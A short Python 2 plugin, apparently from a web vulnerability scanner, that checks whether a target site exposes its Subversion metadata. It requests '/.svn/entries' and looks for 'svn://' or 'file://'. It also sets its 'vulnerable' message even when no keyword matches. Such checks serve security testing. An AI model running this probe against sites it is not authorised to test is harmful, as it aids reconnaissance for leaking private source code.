#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: Lcy
# @Date:   2016-09-20 15:34:41
# @Last Modified by:   Lcy
# @Last Modified time: 2016-09-21 12:23:15
import urllib2
class Exploit:
    def __init__(self,target,expfile):
        self.target = target
        self.result = {
            "name": "SVN泄露漏洞",
            "author": "Lcy",
            "type": "website",
            "ref": "https://phpinfo.me",
            "status":False,
            "info":"",
            'filename':expfile + ".py",
            "target":target,
        }
    def verify(self):
        keyword = ['svn://','file://']
        vul_url = self.target + '/.svn/entries'
        resquest = urllib2.Request(vul_url)
        response = urllib2.urlopen(resquest,timeout=3)
        if response.getcode() != 200:
            self.result['status'] = False
            return False
        content = response.read()
        if content.find("<html>") != -1:
            self.result['status'] = False
            return False
        flag = False
        for word in keyword:
            if word in content:
                self.result['status'] = True
                break
        self.result['info'] = "存在Svn泄露漏洞，验证url: <a href='%s'>%s</a>" % (vul_url,vul_url)